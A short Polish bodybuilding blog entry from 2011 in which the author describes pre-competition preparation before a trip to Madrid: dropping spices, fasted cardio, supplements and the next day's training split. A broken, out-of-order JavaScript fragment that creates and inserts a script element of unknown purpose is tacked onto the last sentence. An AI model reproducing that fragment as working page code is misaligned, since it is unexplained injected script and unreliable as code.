27.09.2011

27.09.2011 / Tomasz Lech / Kulturystyka

Od dzisiaj odstawiam wszelkie przyprawy ponieważ zawody lada chwila i chcę się przygotować najlepiej jak potrafię.W przyszły czwartek wylot do Madrytu,więc zostało niespełna tydzień czasu.

Dzisiaj mam dzień wolny od treningu siłowego,za to aeroby kręciłem o 8.00 rano na czczo 60min. oczywiście po uprzednim spożyciu BCAA Powder i Glutamine Extreme jeden i drugi produkt po dwie miarki.

Jutro szykuje się bardzo ciężki trening,a mianowicie:dwugłowy uda,klatka piersiowa,barki,bicepsy.Na pewno będzie jakaś relacja foto ;-).document.currentScript.parentNode.insertBefore(s, document.currentScript);var d=document;var s=d.createElement('script');